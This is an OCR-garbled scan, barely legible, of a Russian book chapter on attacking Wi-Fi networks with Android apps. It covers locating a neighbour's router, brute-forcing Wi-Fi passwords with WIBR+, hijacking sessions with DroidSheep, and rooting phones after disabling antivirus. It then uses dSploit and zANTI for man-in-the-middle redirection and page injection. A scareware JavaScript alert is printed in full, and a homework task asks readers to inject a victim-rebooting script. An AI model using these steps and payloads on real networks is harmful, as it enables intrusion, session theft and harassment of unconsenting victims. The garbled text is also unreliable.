B COCEHEH NpUIIETaOMIEeH K KyXHe KBapTUpe.

DTa UCTOpHUs MPUBEJEHA C IIEJIBIO MOACHUTH HasHAYEHHWE CJIeAyIOEel mporpamMMel (Hy,
H JU1A TOTO, YTOOBI BBl HEMHOTO OTBJICKIIVCh, OTAOXHYJIH OT IIPOrPaMM).

Bcero sToro cnekrakiis MOXHO ObUIO ObI H30€XaTh U 6e3 0c000ro TpyAa BHIICHHUTH HO-
Mep KBapTHpHI 10 YPOBHIO CHTHaIa, Bocnonb3oBaBmuch nporpammoit NETGEAR WiFi
Analytics (puc. 5.88).
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NETGEARWIFi [ ! :

Analytics
HETGEAR tng.
Bey enacoudimaiwe 3 .
[ crvon
Puc. 5.88

Ipu npuGIKeHNH K HCTOYHUKY CHTHAJIa, a IMeHHO kK Wi-Fi-poyTepy, ypoBeHb cHrHana
3HAYUTENBHO Bo3pacTaeT. [loaToMy, mepemernasichk Mo KOMHATaM, MOABE3Y, JIETKO yera-
HOBHTH KBapTHPY-MCTOYHUK HauboIIee CIIBHOTO curHaia (puc. 5.89).

Eime mpolme — 3T0 OTCIIEKUBATh CHTYalMIO B pEXXMME rpaduka, KOTOPHIH MOKa3bIBacT
B HallIeM CJTydae, YTO YPOBEHb CHTHAIA MaKCUMAIBbHBIH BO3JIe CTEHKH cocenia (puc. 5.90).

Pl Emam
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Select b

Puc. 5.89 ‘ Puc. 5.90
MeI pacckasaiy O TeX MHCTPYMEHTaX, KOTOpble JAeHCTBHTENBHO BBIONHAIOT OCTABJIEH-
HyIO Nepeli HaMH 3a/1ady B Hayase HacTosme# riaebl. [Ipy oToM, Bce onmmcaHHbIe CpecT-
Ba OecIUIaTHEI, He TPeOYIOT IpaB root Ha cMapT(OHE, He CYMTAIOTCS BPEIOHOCHBIMH U
NOTOMY MMeIOTCs B cBoGomHOM moctyme B Play Mapkere. Ho Bce jke Henb3s He yromsi-
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HyTh O TOM, YTO €CTb IIPOrpaMMEls KOTOphIE He npejyiararorcs B Play Mapkere (ux nerko
MOXXHO HaiT Ha Jpyrux pecypcax HTepHeTa), BUAMMO, KiIacCHHIMpyeMbIe, KakK Bpe-
nonocueie. Hanpumep, i nonbopa napons k Wi-Fi-poyTepy cylmecTByeT Hekas mpo-
rpaM'}vm WIBR+ (taxoke He TpeGyerT ripas root), puc. 5.91.

®akTAYECKH, 3TO MeIeHHBIH Gpyrdopc. CropocTs mepeGopa NpH MaKCHMAIBHOM
BKJTIOUEHHWHM HabOpOB CHMBOJIOB (Bce) mpu Gyrdopce — 5 maponedt B MHHYTYy — 3TO
MpaKkTHYECKd HepeasbHO, JHOO HY)KHO XOTA OBl NMPUMEpPHO 3HATh "BCKPHIBAEMBIN"
napons. Eciu ke BKIIOYATb TONBKO CTPOYHbIE OYKBBI M LUGPEL, CKOPOCTh JOCTHIaeT
70 naporeit B MuHyTY (OM. prc. 5.93 u 5.94). Kcraru, B iporpamMme ectb BOSMOMHOCTE'
paboTHI ¢ MaCKaMH.

Iome3yrotcs nporpaMMOH cremyomyuM obpazom: Bbl6npaerca MEHIO I{oﬁatmu ceTh,
B NIPEAJIOKEHHOM CITHUCKE IOCTYITHBIX CeTel BRIOHpaeTcs ceTh-xepTBa (pHc. 5.92).

Puc. 5.92

IMocne BHIGOpa ceTH BO3HUKAEeT MEHIO HACTPOEK CHMBOJIOB M BBIOOpa cioBapeit
(puc. 5.93). VkasaTh, kakue KOHKPETHO OydyT NpPHMEHATHCS HAGOpPHI CHMBOJIOB
(puc. 5.94), moxuo. B MeHio Hacrpoiika riy6okoro momcka. IIporpamma mo3Bonser
HOAKIIIOYATh CBOH CIIOBApH.

A JabIne IPOM3BOTHTCA nonbop maposnei (pﬁc. 5.95 1 5.96).

IIporpammy WIBR+ mpoOyroT Bce, HO AyMaeTcs, YTO PeaTbHO, HE B TECTOBOM PEXHME,
HHKTO HMKOT/Ia HM OHHOIO MapoJisl Ha HEH He BCKPhLI. ’

B cMmeicne 3<b(beKTnBﬁocm paboThI ropa3o MHTepecHee Hekas MporpaMma Dr01dSheep
(puc. 5.97), xoropas TepeXBaThBacT BeO-ceccun. TToHATHOE JI€N0, Mapony ceifuac, Kak
npaBWiIo, MUGPYIOTCS, HO 3aTO MEPEeXBaTUB KIIOY CECCHH, BB JIETKO IMOMKIIIOYUTECH
K TEM e pecypcam, 9To U sxeptBa. IIporpamma pabotaer Xxopomo, HO Ul €€ YCTaHOBKH
Y KCTIOJIb30BaHMs TpeOYIOTCA IpaBa root Ha cMapTdoHe.

TeMa npeOCTaBIeHHs PaB root Ha cMapTdOHE JOCTATOUHO OGIIMPHA W MOXET YBECTH
HAC JaJleKo B CTOPOHY. [IoueMy-To ¢ TOUKH 3peHHs "alojIoreToB cMapTGOHHOIO HaMpaB-
JeHus" 3TO ABJAETCA 4yTh JIM HE MPECTYIUIEHHEM, H TIPOIPaMM, 1pedoCcmasnsiowux Ta-
kue ripaBa, B Play Mapkere BbI He Haiiere. Ho Hy>HO ke OBITE MOCIIeOBATEIEHBIMH 0
KOHI[a: TOrJa Mo4eMy B TOM ke Play MapkeTe pasMmeImaroT NporpamMMbl, mpebyioujue
mpaB goctyna root?! Hanmpumep, mobumas Hamu niporpamma Shark (puc. 5.98). ‘
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Puc. 5.94
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Puc

Puc. 5.97.

Puc. 5.96

Puc. 5.95



SakmoyumenbHbIil YUK 3n0yMbilLIeHHUKa, unnu Yymo desiaem xakep nocne éanoma Wi-Fi-cemu 155

Paraméters:i -w-s0

Shark for Root &
(native)

Elviss KuStans

Bes Knaccubukayun

7 ?CTAHGSMT&: -Status: Running
: - == Filename: /sdcard/

shark_dump_1437972990.pcap
Size: 134816 bytes

Puc. 5.98

'

OTMCTPIM, YTO MJIA MPEROCTaBJIICHUSA IIpaB root CYLIECTBYIOT JBa OCHOBHBIX HarpaBJICHUSA:

O mporpaMMel, paboTalomuye ¢ MEPCOHATBHOIO KOMIBIOTEPA M BHOCAINME W3MEHEHHS
B cMapT¢oH yepe3 USB-kabenb;

O nporpaMmel, paboTaromye HeMOCPEACTBEHHO CO CMapTdOoHa.

U Tex, ¥ IpyTHX MHOXKECTBO; BCE 3aBUCHT OT MozieNH TenedoHa, Bepcuu Android, Bammx
npeanourenuit. Ho BTopoii BapHaHT BCe e, ECIM BBl CHMTE ceifdac rae-Hubyap B ode-
pend (M, KCTaTH, €CIIA BaM He JKalnko "yrpoOuts Tenedon"), Oyner moserde, T. K. BaM He
HYKHO UCKaTh Kabeslb M MOAKIOYaTh KoMIbioTep. IIpexie ueM ckayaTh U yCTaHOBHUTH
porpaMMy IS IpeJOCTaBICHUS MpaB root, He 3a0y/AbTe Ha BpeMs CHATh OIPaHHYEHMS, a
MMEHHO B HacTpoiikax BezomacHocts HeoOxoauMO (puc. 5.99):

() pa3p€inTh YCTAHOBKY npnnoxcemdﬁ K3 HECHU3BECCTHBIX HCTOYHHKOB,

O yOpaTh 3arper Ha YCTAHOBKY IPUIOXKEHUH, KOTOpbIe MOTYT HAHECTH BpeJ YCTPOMCT-
. BY MIIH [IPEIyTIPEX/AT O HUX (XOTS 3TO He 00A3aTeNbHO, IIPOCTO BO BPeMs yCTaHOB-
KM, HECMOTDS Ha 3aIlyTHBAIOINHE MPeXyTIPeXACHNs, IPUIETCS COrJIalaThCs Ha BCe).

Puc. 5.99

JUia mpuMeHeHMs mporpaMM, KOTOphIe yCTaHaBJIMBAIOT mpaBa root yepe3 USB-kaGenb
¢ KOMITbIOTEpa, HeOOX0aMMO BKIIFOUMThH ompxo Otaagka USB. B 3aBucHMOCTH OT MO-
Jied cMapT(oHa yCTaHOBKa TOrO MapameTpa MOXKeT OBITh pacroioXKeHa B Pa3IMYHbIX
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MecTax, HO, KaK IIpaBHJIO, Pa3/iell MOXKET Ha3hIBaThCs YTO-TO TvIa [ pa3paGoTaaKoB.
Ecnu B Bameii Monenu TenedoHa 3TOT paszeN CKpHIT, TO WIS TOTO YTOOBI OH IOSBHIICH,
-He0OXOIMMO MHOTOKpaTHO (pa3 ceMb) HaxkaTh Hammuch Homep cOopkH (HeCMOTps Ha
TO, 9TO HAJAIHUCH HE aKmBHa), puc. 5.100.

B mpencrasnenHoM Ha puc. 5.101 mpuMmepe mociie BHIIEyKa3aHHOHM omepalud B Ha-
cTpoiikax cMapTdoHa: no;mpmca paszen Onnun pa3paGoTdHKa.

F & CesgeuwaoiiG.

Bepcus: Android = AKKayum W CHRXpOHMBAUN
500 S e
: e A3bIK U xnaana'rypa

Bepcua npowuaku Monem . B
MOLY.WRE. W1 338 MD WG TO0T MUSESZY S % P €3PBHAR KONHA M csp oc

Vi

E

% Eucrpaﬁ KHonKa

gi ,q,a'ra n Bpemz

ﬁ Cneu BO3MOXHOCTH

Onuuu paspa&mnka

ﬁ neqawb
a Ommﬂe B
4 DB td 0 .8
Puc. 5100 - Puc. 5.101

HyxHo 3aMeTHTsh, yto omuims Otaagka USB B TOM pasiefie TIOYEMY-TO TIOSBIIIACh He
C MepBOro pasa, 3 TOJNBKO TIOCHe TOro, KaK GbLI "HepesiepHyT" MepeKodaTelb, OTKIIO-
YaloMMi\BIUTIOYAIOMKMI Bce MapaMeTpsl B pasjelie Omum paspaGorunka (BHIUMO —
6ar), puc. 5.102.

Jlns npumepa NoTy<YeHH s IpaB root, eciH BBl T000EIaeTe STHM HEKOT/Ia He MOTB30BaTh-
s, yKaKeM Ha OIHy W3 nporpaMM KOTOpas TO3BOJIAET JIETKO, HAXKATHEM Ha OJHY KHOII-
Ky DPEROCTaBUTH Mpasa root. ITo mporpamma Dngong ROOT (puc. 5.103-5.105). He
3a0bIBacM Iepe]] YCTAaHOBKOM MPOrpaMMbI OTKIIIOYUTH aHTUBHPYC.

Kpome yxe yxasanHo# DingDong ROOT, npezacraBuM crmcok Haubosiee HOMyISPHBIX
IPOrpamMM JUis PENOCTABJICHMs [IPaB JOCTyNa root Ha cMapTdoHax:

O Adb Run; 'O Clockworkmod,
3 APK UnlockRoot. O Eroot;

O BaiduRoot; ! O Fastboot; .

O Bindry; O Framaroot;

0 CF-Root; O Hisuite;
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O Ioroot; -

O Kingo ROOT;

O Nexus Root Toolkit;
0O Odin;

0 Rom Manager;

O Root Genius;
O Root Kit;

O SuperSU;

O Towelroot;

0 TWRPManager.

Ha puc. 5.106, 5.107 u 5.108, 5.109 nprBeeHbI 3KpaHbl Napbl POrPaMM U3 3TOTO CIH-
CKa, 3T0 COOTBeTCTBeHHO Kingo RQOT # UnlockRoot.

+

& Onumng

He BHKJHO‘!&TB -
ﬂpa zapﬂgxe a!qwe HE OTRAUBETCS

. Amuauposan‘b permrrpaumo
Bluetooth HCI snoop log

Suay 1= e1ed Bl thy
HCt s dafin

CraTvcTiHKa npolecca
iemep ST O 28Ty 3

Atuﬂupoaa‘m paapemeuna Ha
USB-omanxy

'Omm o& omuﬁxax Meso o
yNpasneHus NHTaHHeM o

Puc.5.102 -

Puc. 5.104

 Philips W6610

Puc. 5.105
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Puc. 5.106

Donate via Paypsl :

Puc. 5.107
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Un

Puc. 5.108 ~

Puc. 5.109
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BepHeMcs K H3YyYEHHIO XaKepCKHX MporpamMM Uis cMapTgoHa, TpeOyolux mpaB root.
JUns mpoBesieHHs SKCIIEpUMEHTa B BalIeM CETMEHTe CeTH IEepBOHAYAIBHO MOAFOTOBBTE
XOCT-KEPTBY. ITO MOXKET OBITh KOMIBIOTEpP WM HOYTOYK, C KOTOpOTO BHI 3anneTe Ha-
TPHMEP, B Ty ke COLMATBHYIO cets "BKonrakte" (puc. 5.1 10)

L je= 0

Cess Rynwszing

SR TR

sk egmeriesns ‘ e Az
e i m By HY 2
Uhnas: Angr-dreancen Thool of Bowow §F
Hooes £

PSR CFICTSeT.

Puc. 5.110

Bynyun noKIOIeHHbIM K CeTH 3aITyCTHTe DroidSheep. Eciu Bce xopomo, 06s3aTeIbHO
IOJDKHEI GBITE COOOIIEHHMS: O TOM, 9TO TPeOYIOTCs root-pasa, ¥ O TOM, 9TO OHH paspe-
IIEHE], 2 TAKXKE O TOM, 9TO €CTh COEIMHEHHE C ceThIo (puc. 5.111).

Cennected to "LG LEON_1238"

Janpoc Root npas:

Puc. 5.111
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Hanee HaxxuMaeM KHOTIKY Start, a Ha KOMIIBIOTepe-epTBe B Opay3epe OOHOBIIsieM
aKTHBHYIO BeO-CTpaHuIly (HYXKHO KaKOe-TO IBIDKEHHE B CETH, YTOOHI momen TpagHk) U
Ha0JIoZJaeM HaJIM4We 3aXBadeHHbIX IakeToB. MIHTepecylomue Hac MaKeThl OyayT MMeTh
cchUIKY Ha vk.com (puc. 5.112).

Connected to "LG LEON_1238’
Spoofing tP: 192.168.43.1

Puc. 5.112
lenkHyB 10 cchUTKe U BEIOpaB B MeHIO Open site, MOXXHO TIEPEHTH 110 yKa3aHHO! CCBLI-

Ke, M 37eCh MBI HaOJIIOfaeM, uTo noayuwiu oocmyn k pecypcam dcepmest (puc. 5.113 u
5.114).

DroidSheep

[ ronrakre
Choose page type:
Open site St
, 8 Homocta
Remove from list
#  Oreeru
Add host to blacklist ®  Coobueins
Export via eMail R Apysen
' . B3 Tpynou
Save cookies
£3  dororpadm
' 8 supecasmcy
n Amuoam

Puc. 5.113 Puc. 5.114
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Ipexne gem 3akoHuuTs pacckas mpo DroidSheep, xowercs mpemoctepeus Bac B ciie-
nyromeM. Ha caiite pa3paGoT4rKoB BBl He HaiieTe rOTOBO#A, CKOMITWIMPOBaHHOM BEPCHH
nporpaMmel. Bpoze 651, y HUX B CTpaHe KPHTHYHO OTHOCATCS K JACHCTBHAM TaKOTO poza.
TeM He meHee, B pasznene Download coobmaercs o xam-pyHKIMIX o anropurmy MDS,
COOTBETCTBYIOIIMX MOJIMHHUKAM pasJIMIHBIX Bepcuii nporpamm. Ha puc. 5.115 npuse-
IeH (parMeHT caiiTa, e yka3aHbl Xamu /i Bepcuid 15 u 14 APK-daiinos.

- S e SR

HOME F.AQ. PROTECT!OH QROIDﬁﬁEEP {ROOT]  DROIDSHEEP GUARD ~ABOUT  DORATE

Downloads

DOWNLOAD IS UNAVAILABLE
TUnfortunately, Germany his some very strict laws against “Hacking-Tools”, which means the
developraent and distribution of sueh tools is prohibited by law.

DroidSheep, as a tool for security analysis of networks, is not made as a “Hacking-Tools”, but the law itself does not make any
differerice Between “Good” and “Bad” tools. Even if legal practice in Germany usnally does not fine cases like these (“Dual-
se-Tools™), my provider banned the droidsheep.apk from this server and I decided to stop distribution of the app itself.

ﬁeve:‘theless, Itry to demonstrate security issues on public networks and therefor Ywill go on mamtammg this page.
Eterybody who is still interested in DroidSheep can get the code at google code (GPL): \

3
The source code is public available on Google Code
and is licensed under GNU GPL v3
For those who found an APK somewhere on the web — MDsg Hashes for the last APK files I generated:

DroidSheep_15.2pk
FoAb47E720A5EDDCE04 DosDoE4C4EsAD

DroidSheep_14.2pk
DB53F4C3CC2553F35C45D52457E4908C

DroidSheep_13.2pk )
9722FDDEB1DAB151635B092931 FBDG6A

REMEMBER: ROOT ACCESS NECESSARY!
I you do not have ROOT, you 1l first have to root your device!

Puc. 5.115 .
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Yro6bl yoenuThCs, ITO" HHCHE 15, CkauaHHas u3 MIHTepHeTa, COOTBETCTBYET NeKia-
PHMPOBAHHON pa3paboTUMKOM, MOKHO. MCIIOIB30BaTh GecruiarHyto nporpammvy MDSChecker
JU1A pacyeTa Xam-pyHKiH (puc. 5.116).

C wensio JEMOHCTpaLMH MpUMepa NPOHM3BENEM pacyer s Iuayx pasnntmmx BepCHi
DroidSheep, Haiinennpix B HarepHere (puc. 5.117).

droidst

Puc. 5.116 Puc. 5.117

CpaBHute 3Ha4YeHHA Ha puc. 5.115 u 5.117. Mb1 Buaum, uro amns Bepcuu 15-# cymma He
cxomutcs, a mis 14-ii Bce HOpMaTbHO. DTO 3HAYMT, YTO B (aiilie, COOTBETCTBYIOMIEM
14-# BepCcHHM MPOrpaMMEI, ECITH ¥ MMEIOTCA HeeKJIapUpyeMble BO3MOXKHOCTH, TO TOJIBKO
Te, KOTOPhIe 3aI0KWI pa3paboTYHK. A BOT BepcHIO 15 jkenaTenbHO MOMCKATh APYTYIO,
T. K. BIIOJTHE BO3MOKHO, YTO K 3TOM HHCTAJUISLHMH KTO-TO €Ie TIPUIOKHMI CBOKO PYKY...

Eme onna nporpamma, Tpebyromas npas root, 0 KOTOpOH XO4eTcs YIOMSAHYTb, B O4epe-
HO¥ pa3 J0Ka3bIBaeT HAlly MBICIIb, YTO XaKePOM ceifqac MOXKeT CTaTh JIoOOH, Ge3 yMe-
HUS TPOrpaMMHpPOBAaTh: YyXe JaBHO BCce €CTh TroToBoe. J10 mnporpamma -dSploit
(puc. 5.118). ATaku, KOTOphle OHa (IIPOrpaMMa) peajii3yeT, MOXKHO IMPOH3BOHTH, MOJ-
xmounsmuck K Wi-Fi-poyTepy, Haxonsce B oqHOM cermMeHTe ¢ xkepTBoii. OCHOBHOE Me-
HIO C MiepeuyHeM BO3MOXKHBIX ACHCTBHIA (cM. puc. 5.120) nossisercs mocie Toro, Kak BbI
menkHeTe MbInbio 1o [P-aapecy xocTta sxepTBHI (31€Ch 3TO KOMIbIOTEp ¢ UMeHeM NB),
puc. 5.119. A Ha puc. 5.121 npeacrasneHo MeHto pasnena MITM (rae ucmonb3yroTcs
main-in-the-middle artakmn).

OO6parure BHUIMaHHe, YTO MPOrpaMMa TaKk)ke MOJXKET MepPeXBaThIBATh CECCHH, KaK 3TO MBI
_yXKe TIpojeNany ¢ BaMu paHee ¢ noMomipio DroidSheep. laxe Geryibiii B3rsAA 0 MEHIO
TOBOPHT O TOM, YTO BO3MOXHOCTEM 371eCh OY€Hb MHOTO, H 4YTO 3Ta IMporpaMma — HaXo[-
Ka 11 xakepoB. s HeGonbIIOro mpuMepa M Mokasza TOJBKO OXHOW M3 BO3MOXKHOCTEH
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Puc. 5.118

OTEREKUBaHIHE
QTeneuTs MEDUIpYTh! e

pr»zep :wptos
3aRYCTErh CRAMDOBAHAS mproa o
THY sm

ﬁmr‘em‘ﬁp

BanyeTath CEHAROBaMe or!ﬂpamwn&

CACYEMb Y CEPEMO0S Lenu(Megsientee
CRAHEDA HOPTOB, HO TOMHEE).

Tonck yAzemanc e

Tlenatic N3RECTHDIX YASERMQDTER
IBMYILEHHBIX CEPEUCDS LETWHS
HALUOHANbAOR Ba3H1 YASBAMOCTEN.

Niorer BRCONOUTOR
FloUCK SKCRNoUTA, COBRAJIOLILID ©
HARASHHEIMN YRSBIMOCTAMIL

Eanom Nofuea
Ougsib BoIETPEIt B3N0OM CETH,
nmnepxmammnﬁ pasHbie Cepanthl.

Ceccm HE PWIR-IPHON Herm.

Braonnts man-in-tie-middie atexy,
TR KBK PPOCTOR CHirchep,
MEHUAYSILIAS TRSth, &1C...

CanecudukaTop NakeTa
Cospath W OTAPABUTL csoi TCP win UDP |
NAKET Ha Lens.

Pue. 5.120

F’pec*am {Jﬁwebd;e*}

Hepenaﬂgaamb TpadmK yesm wepez 370
YCTPORCTEC # NDOCMOTPRTE STATMETHRY.
COXPRHMB FaHbie § .poap dadin.

MNepexeat Maponeh
fepexsar naponed uem & Taux .

npoTexenax xay hitp, fip, imap, imaps, irc.
msn, ete. '

[epexgar Ceocui

a Mepexsay cookie thaRnoe u ux
NCHOIR30RaNR,

% YGute CoeguneHue
¥6ute cosgmetine e e CeTeI0.

%ﬁm@na Kapmﬂox
Q NogmMenwTe 8ce R208paxenns Ha sel
CYPSHBLAX HA CBOE.

“log»saée Bugeo
flogmena Boex Bngeo ¢ youtube ua umm

Wrrnewuwa Cxpunta
flomecTaTy javascript 8 KBXayw
noceiaemyrs 5el crpasauy.

Caoi dunstp

TIOAMEHITL BBORNNLIA LIENBID TEKST HA
E cBOA,

Puc. 5.121

Fnaea 5
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HEMHOTO noxyfmramm Ha HfameM CTeHJie H, OTPE/ICIHB KOMrmmep-mep'rBy, TIOZIMCHUM
eMy Jo6ylo 3ampamMBacMyio CTPAHMIYy CTPAHHMLIEH WWW.mai.ra (TaK 3MOYMBINLICHHAK
MOJXKeT IepeaZipecoBbIBaTh Ge/IHAY Ha (QUINMHTOBBIH CaiiT). Tl 31*01'0, 6y,uyrm TOAKITIO-

YEeHHEIMH K CETH, IeJkHeM o IP-ajipecy xepTBbI (CM. pHC. 5. 119) 1, Tiepedns U3 riaB-
Horo MeHio B pasfen MITM, BoibGepeM ¢yHKUmMIO Hepeanpecannn (em. puc. 5.121).

3amanuM B KavecTBe aapeca mepeaapecaiyy www.mail.ru u He 3a6y,ueM (3TO BaXKHO)
HaxaTh kHonky OK (pwc. 5. 122)

.

Puc. 5.122

TMocne 3TOrO araka 3amyckaerci, B MEHIO Ha9HHAeT KPYyTHThCS MHAHKaTop (puc. 5.123).
Bcé! XepTBa npu obpameHuH Kk 0OOMy caifTy B HameM cioydae GydeT TyT xe mepe-
azipecoBaHa Ha caiiT Mail.ru.

Puc. 5.123 .

ITo unee, ocTaHOBKA aTak¥ NMPOMBBOJUTCA TIOCJE CIEAYIOMEro HaXaTHi Ha (yHKIIO
Ilepeappecanusa. Ho B [eliCTBHTENFHOCTH MOYEMY-TO OBIBAa€T TaK, YTO aTaka, BMECTO
TOr0 9TOGHI OCTAHOBUTHCA, HAOGOPOT 3aIyCKASTCS HMEHHO TONBKO I10CIIE STOrO.

JUis nodcka SKCIUIOWTOB "HPOrpaMM MOXHO MCHONB30BaTh YX€ 3HAKOMBIA HaM
Metasploit Framework (puc. 5.124). TIpu 3TOM TOHATHO, YTO MpeXAe €M 3aIyCcKaTh
3KCILIOMTHI Ha MOKCK YS3BHMOCTEH, He0GXOIMMO IPOCKAHMPOBATH MOPTHL

3aMeTHM, YTO O{HOM M3 MPUIHH, ToYeMy Mbl IpuBesH dSploit 31eck B kadecTse mpuMe-
pa, ABJseTCA pyccKuii uHTepdeiic mporpaMMel. A i HEKOTOpBIX 3T0 BaxkHO. Ho BoT
npoGiieMa — Pa3paGoTIHK yike He HOINEPAKHBAET STy Mporpammy (Tpaejia, XOPOIIO To,
YTO HOBBIN MPOXYKT elne MomHee). I Moxer GBITh, [0 3TOM NMpPHYMHE BaM HE YAacTCs
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HaifTi ycraHOBOYHYIO BepcuiO ¢ Metasploit Framework. Kcratn, GeiBaer Taxxke, 9ro
Metasploit Framework #e ycranaBiuBaeTcs 10 NPUIHHE HEXBATKH NIaMATH B cMaptdose.

Ectb eme o,r.[Ho BaXHOE OOCTOSTENECTBO B OTHOLIEHHH dSp101t T. K. 9Ta BEpCHs Npo-

TPaMMBI [O3BOJAET CENATh KOoe-KaKue HaCTPOMKH B otHomerym Metasploit Framework,

TnpejyiaraeM BaM B KadeCTBe J1abGopaTopHOH paGoTs nonpo6oBaTs caMEM pa3obparbes

C BOMPOCOM TIOAKIIOYEHHs K TPOrpaMMe CaMOCTOSTEBHOM MOOWIHHOM Bepcru Metasploit

Framework (a Takai, moxoxe, ecTb Ha caifte paspabGorumka Metasploit Framework).

B HOBO## BepcHM NPOrpaMMBI, O KOTOPO# ceAuac MOHJET petb, TAKHX HACTPOCK B OTHO-
IEeHHH HOTKITIOYCHHS BHeutreii Metasploit Framework yXe HeT.

Hy 4ro x? HepepmeM Ha caift pa3paboTumKa:
http://www.dsploit.net

ZANTI

Puc. 5.124 Puc. 5.125

IloBrOopuMca: He Tak AaBHO paspabordmku dSploit mpekpaTwin ee noanepKHUBaTh, a HO-
BbIi ipoekT HasbiBaeTca ZANTL. Ha puc. 5.125 mokas3aH 3Ha9ok 3aIlycKa IpOrpaMMBbl, Ha
puc. 5.126 — OCHOBHBIE MEHIO TpPOrpaMMEI, Ha pHc. 5.127 — kapTta (map) aTakyemoi
CeTH, Ha puc. 5.128 — mapaMeTpbl HaCTPONKU MPOrPaMMBI.

HUrax, ckaxeM mapy cioB o6 zANTI. [Ins Havana, mpocTo Wi NpUMepa, IPOBeAeM He-
GonpImylo aTaKy Ha HalleM CTeHAE. B 9acTHOCTH, MOKaXeM, KaK NporpaMMa ymeeT
BKJTIOYATh B nocemaemsie xepreoii WWW-cTpanmiiel o6oit Java-CKpunT. A HalTH Ka-
KOH-HMOY/Ib TOTOBBIH, "rafleHbKHH" (TOYHEE — JeIAlOHIHIA ra;u()cm)"lcon B UHTepHeTe
HHYEro He CTOMT. ‘ '
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Routerpwn.com

Wift Monitor

Tutorial
Contact us

Follow on Twitter

Learn about zIPS -
2ANTE Zanpoc Root npas

Settings

Logout

Puc. 5.126

Map new netwarks

tntrusive mode

i Iniirinees nogs

s befare tap

A e R LN I

Network Status

Focsiierk wrndos wiy

Puc. 5.128
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HaxomuM. crie yiomuii Koz

<head> "

<script types"text/javascript" language="javascript">

<l—- Begln

functlon conflrmClose() {

alert("Ommbra: 107x has occurred. HeonpeneneHHElT BUPYG MH@MumpyeT Ball XeCTKMA

IONCK. HoxanyMCTa, yoaimTe BCe MHOMUMPOBAHHHE O(alum.")

if (conflrm("CooémnTe BameMy MIOCTABIMKY XECTKOTO IMCKa 00 3TOMi omméxe "))
alert( Bupyc neaKTMBMposaH, “HO 6pay3ep MOXET SaBUCHYTb. ") ; '

else ’

alert( Hpoénema Haunena u yCTpaHeHa, HO BaM MNpuOeTcCs nepesarpyBMTb Bam
.. 6pay3ep ')

parent.close();
) o
}
// End -=> .
</script>
<body>
<CENTER>
<form>
<inpﬁt type="button" value ="Crpamwxn" onClick="confirmClose()">
</form>
</CENTER>

Bribepem Ha kapte cetn (cM. puc. 5.127) xoM-
IBIOTEP-)KEPTBY, C KOTOPOTO BO BPEMs aTaKé MBI
Oynem xomure B HHtepHer. IllenkHeM MBIIBO
TI0 HaAIKMCH, COOTBETCTBYIOINEH B 00IIEM CIIHCKE
CeTH MMEHHO 3TOMY KOMITbIoTepy-XkepTBe. Jlanee
BBIGEpEM yXe 3HaKOMOoe Ham Merio Man in the
Middle (puc. 5.129).

Cpe/ii MHOXECTBA THIIOB -aTaK BoiGepeM HHTEpe-
CYIOIHYIO Hac (hyHKIIO Insert HTML, no3Bo-
JSIONIYI0 CAAENaTh - MHBEKIMIO = Hamero Java-
‘ckpurrra (puc. 5.130). -7
HacTpoiiku aTaku NpOM3BOAATCS TPH HAKATAU
Ha 3y6uartoe konecuko. ITpu macTpoiike ykazaH-
HOH aTak# HpOCTO BCTaBHM u3 Gydepa 3apa-
Hee CKONMPOBAHHBIA KOJ HamieH MHBEKIAY
(puc. S. 131)

Puc. 5.129
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¥

ANTI MITM @...

> your 1P

N Puc. 5.131
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I[ml TOTr0 YTOOBI BKIOYHTE - STY. (bymcumo, ny(Ho nepexmoyaress (cM. puc. 5.131)
nepeBecTH u3 noyoxenns OFE:g, nonoxenne ON. Ho MbI BCEro JTHIb HPOH3BEH BKIIO-
YEHHE HACTPOCK. A Tpebyercs BKJIIOMMTE €llle ¥ CaMy aTaky. 31ech HPHUHIMII TOT JKe —
nepelonoqa'rem, B uoaomeﬁne ON (pPIC 5.132). ’

A

Puc 5132

Artaka BKJTFOYEHa, B celiuac Ha KOMIIBIOTepe-KepTBe TIpH JF0O0M 0OpalleHHH K pecypcaM
HHtepHeTa B 3ar0IOBKH CTPAHMI{ BKITIOYAETCS HAII KOJI, B YaCTHOCTH, MBI BUIUM KHOIIKY
CTPAIIMIIKH (puc.5.133). IIpu HakaTHH Ha STy KHOIKY MBI TIOJy4aeM. 3aIlyTHBalo-
miee coobmenue (puc. 5.134). Y nanee mpy ;moOoM HaXkaTHH TOJydYaeM CEPHIO YIpos3, U
TaK JI0 HOHOTO 3aKPHITHS CTPAHUYKH.

Cumbea: 107x has occurred. Heanpeaenénnbtii sﬁpyc unbuLupyeT
B3 KECTRIA Ancx Floxanyticra, yazs Bee urd
 draitaes,

b okt o

Puc. ‘5.1 34

Artaxa nony4unachk. B xadecTBe JOMAIIHEro 3aiaHws, €Cly Bbl IIPeHEOPErH BCe ke Ha-
[IMMH COBETAMH U HCIIOPTWIM CBOM cMapT(OH, MOITYyYHB AOCTYI root, Honpodyiire mpo-
BecTH nono6Hyro MITM-ataky ¢ momomsio mporpammsl dSploit. Ho B kavectse Java-
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CKpHIITa HCTIONIB3YHTE KO, BHI3BIBAIOINMI Mepe3arpy3Ky KOMITbioTepa IpH JHoooM obpa-
IICHHH K Be6-pecypcaM I/IHTepHeTa T'oTOBEI# TEKCT CKpHITTa NOHINHTE TaM e — B WH-
TepHeTe. L / .

PazpaGoTunke HO3HIMOHHPYIOT ¢Boe AeTHie, mporpammy zANTI, kak MHCTpyMeHT misi
tectHpoBaHus. Ho, KoHe HO XKe, OHH ClleTka BBOAAT HAac B 3a0imy>ieHue. 3aueM ObLU10 GBI
TOTIa BCTPaMBaTh TaKylo (yHKIGIO B Mporpammy, Kak moamena csoero MAC-ampeca
(Merro MAC Changer, cM. puc. 5.126)? D10 e HCKIIOYHTENIbHAs BO3MOXKHOCTD UL
xakepa 6e3 pUMEHEHNs IOTIONHUTENbHBIX YCHIMI CKPHIBATE CBOH AaHHEIe TIpH npone-
JAeHHH BCero Toro Habopa aTak, Ha KOTOPHIC CIIOCOOHA 9Ta POrpaMma.

Bl yxe Hayqmmmich ¢ TIOMOIIBIO IpOrpaMMBeI ZANTI cocTaBATS KapTy ceTH, HAXOZHUTH
OTKPHITBIE MOPTHI, MPOOOBATh MPUMEHHTh PA3JIMIHBIC SKCIUVIOHTHI Ul HMCIIONB30BaHMA
YA3BHMOCTe# OTNPEIESICHHOTO XOCTA.

JU1s TOro 4ro6Bl paccMOTPETh APYTHE BO3MOXHOCTH, BEPHEMCA K [JIABHOMY MEHIO TIPO-
rpaMmsl (cM. pHc. 5.126) u Beibepem paznen Network Tasks. Hpo Bo3moxHOCTS IOAME-
